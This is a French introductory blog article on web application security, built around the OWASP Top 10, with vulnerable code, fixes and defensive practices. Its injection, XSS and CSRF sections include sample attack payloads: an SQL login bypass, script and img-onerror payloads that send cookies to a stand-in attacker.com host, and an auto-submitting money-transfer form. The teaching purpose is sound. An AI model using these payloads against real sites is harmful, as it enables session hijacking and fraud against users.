Sécurité web : la base avant d'auditer
une appli
Les bases de la sécurité des applications web : pourquoi c'est critique, les vulnérabilités les plus fréquentes (OWASP Top 10) et les pratiques essentielles pour protéger tes apps.
Maxime Jérôme··8 min de lecture
La sécurité des applications web, c'est la discipline qui consiste à protéger les sites et services en ligne contre les attaques. À mesure que les entreprises migrent leurs opérations sur le web, la surface d'attaque grossit... et les enjeux aussi.
Navigateur (client)
│ HTTP / HTTPS
▼
┌──────────────────────────────────────────────────┐
│ Load Balancer / Reverse Proxy (nginx, Caddy...) │
└──────────────────────┬───────────────────────────┘
│
┌──────────────────────▼───────────────────────────┐
│ Application Server │
│ (Node.js, Django, Laravel, Spring...) │
│ │
│ ┌────────────┐ ┌───────────────────────┐ │
│ │ Auth │ │ Business Logic │ │
│ │ Sessions │ │ API endpoints │ │
│ └────────────┘ └───────────────────────┘ │
└──────────────────────┬───────────────────────────┘
│
┌──────────────────────▼───────────────────────────┐
│ Base de données (PostgreSQL, MySQL, MongoDB...) │
└──────────────────────────────────────────────────┘Pourquoi la sécurité web est critique
Les applications web traitent, transmettent et stockent des données sensibles en permanence : identifiants, données bancaires, informations médicales. Une faille peut avoir des conséquences lourdes :
- Vol de données : accès non autorisé aux informations clients
- Pertes financières : vol direct ou interruption de service
- Atteinte à la réputation : perte de confiance et impact sur la marque
- Conséquences légales : amendes RGPD, litiges, notifications obligatoires
La sécurité est un processus continu
Les vulnérabilités les plus courantes (OWASP Top 10)
L' OWASP (Open Web Application Security Project) publie un classement des 10 risques de sécurité les plus critiques pour les applications web. C'est la référence du secteur, utilisée dans les audits, les certifications et les formations.
A01 Broken Access Control ◄── #1 depuis 2021
A02 Cryptographic Failures
A03 Injection (SQLi, XSS, XXE...)
A04 Insecure Design
A05 Security Misconfiguration
A06 Vulnerable & Outdated Components
A07 Identification & Auth Failures
A08 Software & Data Integrity Failures
A09 Security Logging & Monitoring Failures
A10 Server-Side Request Forgery (SSRF)
Source : https://owasp.org/Top10/Source : OWASP Top 10 2021
1. Injections
Les failles d'injection, dont la plus connue est la SQLi (SQL Injection ou injection SQL), surviennent quand des données non validées sont interprétées comme des commandes par un moteur (base de données, shell OS, interpréteur LDAP...).
Exemple classique : un formulaire de connexion dont la requête SQL est construite par concaténation de chaînes.
-- Requête vulnérable (concaténation naïve)
SELECT * FROM users
WHERE username = '`' + username + '`'
AND password = '`' + password + '`'';
-- Payload attaquant
-- username : admin' --
-- password : n'importe quoi
-- Ce que le moteur SQL voit finalement :
SELECT * FROM users
WHERE username = 'admin' --' AND password = 'n'importe quoi'
-- Le "--" commente tout ce qui suit => le check du mot de passe est bypasséProtection contre les injections SQL
-- Requete preparee (safe)
SELECT * FROM users WHERE username = ? AND password = ?
-- Les valeurs sont transmises separement, jamais interpretees comme du SQL2. XSS (Cross-Site Scripting)
Le XSS (Cross-Site Scripting ou scripting intersites) permet a un attaquant d'injecter du code JavaScript malveillant dans une page web consultee par d'autres utilisateurs. Trois variantes principales :
- XSS reflechi : le payload est dans l'URL, execute immediatement dans le navigateur de la victime
- XSS stock : le payload est sauvegarde en base et execute pour chaque visiteur (champ de commentaire, profil...)
- XSS DOM-based : la manipulation se fait cote client via le DOM, sans passer par le serveur
<!-- Payload XSS classique dans un champ de commentaire -->
<script>
document.location = 'https://attacker.com/steal?c=' + document.cookie;
</script>
<!-- Variante sans balise script (bypass de filtres naifs) -->
<img src="x" onerror="fetch('https://attacker.com/'+btoa(document.cookie))"> Attaquant
│
│ POST /comment body="<script>...</script>"
▼
[Serveur vulnérable] ──► stocke le payload en base
│
│ GET /article/123 (victime visitant la page)
▼
[Base de données] ──► retourne le payload non-echappé
│
▼
[Navigateur victime] ──► execute le JavaScript malveillant
vol de cookie / session hijacking3. CSRF (Cross-Site Request Forgery)
Le CSRF (Cross-Site Request Forgery ou falsification de requete intersite) force le navigateur d'un utilisateur authentifie a envoyer une requete non voulue vers une application ou il a deja une session ouverte.
<!-- Page piege hebergee par l'attaquant -->
<!-- Si la victime est connectee a sa banque, ce formulaire vire de l'argent -->
<form action="https://mabanque.example.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>CSRF vs XSS
4. Broken Access Control
Les failles de controle d'acces surviennent quand les restrictions sur ce qu'un utilisateur authentifie peut faire ne sont pas correctement appliquees. C'est le numero 1 de l'OWASP Top 10 2021, et pour cause : c'est l'une des plus frequentes en pentest.
// Endpoint API vulnérable : aucun check de propriété
app.get('/api/documents/:id', async (req, res) => {
const doc = await db.query('SELECT * FROM documents WHERE id = ?', [req.params.id]);
res.json(doc); // N'importe quel utilisateur connecté peut lire N'importe quel doc
});
// Version corrigee
app.get('/api/documents/:id', async (req, res) => {
const doc = await db.query(
'SELECT * FROM documents WHERE id = ? AND owner_id = ?',
[req.params.id, req.user.id] // on vérifie que le doc appartient à l'utilisateur
);
if (!doc) return res.status(403).json({ error: 'Forbidden' });
res.json(doc);
});5. Mauvaise configuration de securite
Les misconfiguration de securite incluent : headers HTTP manquants, comptes par defaut non modifies, messages d'erreur trop verbeux, ports non necessaires ouverts, CORS trop permissif...
// Headers de securite essentiels (exemple Express.js avec helmet)
import helmet from 'helmet';
app.use(helmet()); // Active un ensemble de headers protecteurs par defaut
// Ou manuellement :
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('Content-Security-Policy', "default-src 'self'");
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});Le cycle requete / reponse HTTP sous l'angle securite
Comprendre le cycle requete-reponse HTTP est fondamental. Chaque etape est un point d'entree potentiel pour un attaquant.
Client (navigateur)
│
│ GET /search?q=<INPUT> HTTP/1.1 ◄── URL params
│ Host: example.com
│ Cookie: session=abc123 ◄── session token
│ Authorization: Bearer <TOKEN> ◄── auth header
│ Content-Type: application/json
│ Body: { "username": "<INPUT>" } ◄── body data
│
▼
[WAF / Reverse Proxy]
│ Filtre les requetes malveillantes
│ Rate limiting, blocage IP
▼
[Application Server]
│ Validation des entrees ◄── injection possible ici
│ Authentification / autorisation ◄── broken access control ici
│ Logique metier
▼
[Base de donnees]
│ Requetes SQL / NoSQL ◄── SQLi possible ici
▼
Reponse HTTP
│ Headers de securite ◄── misconfiguration ici
│ Body : HTML / JSON
│ (XSS si le body contient des donnees non echappees)
▼
Client : rendu dans le navigateur ◄── XSS DOM-based iciBonnes pratiques essentielles
Voici un recapitulatif des pratiques a mettre en place systematiquement :
| Menace | Contre-mesure principale | Outil / standard |
|---|---|---|
| SQLi | Requetes preparees, ORM | Prisma, SQLAlchemy, Hibernate |
| XSS | Echappement des sorties, CSP | Content-Security-Policy, DOMPurify |
| CSRF | Token CSRF, SameSite cookie | SameSite=Strict, double-submit cookie |
| Broken Access Control | Checks d'autorisation cote serveur | RBAC, ABAC, middleware d'authz |
| Misconfiguration | Headers securite, revue de config | helmet.js, securityheaders.com |
| Composants vulnerables | Audit des dependances regulier | npm audit, Snyk, Dependabot |
Authentification et gestion des sessions
L'authentification est souvent le premier rempart. Les erreurs classiques :
- Mots de passe stockes en clair ou avec des algorithmes inadaptes (MD5, SHA1 sans sel)
- Absence de rate limiting sur les endpoints de connexion
- Tokens de session previsibles ou avec une entropie insuffisante
- Absence de MFA (Multi-Factor Authentication) sur les comptes critiques
- Sessions non invalidees apres deconnexion
// Mauvais : SHA1 sans sel
const hash = crypto.createHash('sha1').update(password).digest('hex');
// Bien : bcrypt avec un cout suffisant (10-12 en prod)
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12;
const hash = await bcrypt.hash(password, SALT_ROUNDS);
const match = await bcrypt.compare(inputPassword, hash); // verificationArgon2 en 2024+
HTTPS et securite des communications
En 2024, HTTPS est obligatoire. Mais le deployer ne suffit pas : il faut aussi le configurer correctement.
- Desactiver TLS 1.0 et 1.1, n'autoriser que TLS 1.2+ (idealement TLS 1.3)
- Configurer le header
Strict-Transport-Security(HSTS) avec une duree suffisante - Valider les certificats cote serveur pour les appels sortants (pas de
verify=Falseen production) - Mettre en place la rotation des cles et le renouvellement des certificats
Validation et assainissement des entrees
Toutes les entrees externes sont suspectes par defaut : parametres URL, body de requete, headers HTTP, cookies, donnees de formulaire, fichiers uploades. La regle de base : valider cote serveur, jamais uniquement cote client.
// Mauvais : validation uniquement cote client (facile a bypasser avec curl ou Burp)
// form HTML avec required et maxlength => non fiable
// Bien : validation cote serveur avec un schema strict (exemple avec Zod)
import { z } from 'zod';
const LoginSchema = z.object({
username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
});
app.post('/login', (req, res) => {
const result = LoginSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ errors: result.error.flatten() });
}
// result.data est maintenant type-safe et valide
});Whitelist plutot que blacklist
La suite
Cet article pose les bases. Les prochains articles de la serie plongent dans les techniques d'exploitation concretes et les methodologies de pentest web :
- Pentest web blackbox : methodologie complete de reconnaissance a exploitation
- Exploitation avancee des injections SQL (UNION, blind, time-based)
- Bypass de WAF et techniques d'evasion
- Vulnerabilites des APIs REST et GraphQL
Tu peux aussi jeter un oeil a nos services de pentest web blackbox et whitebox si tu veux qu'on audite tes applications.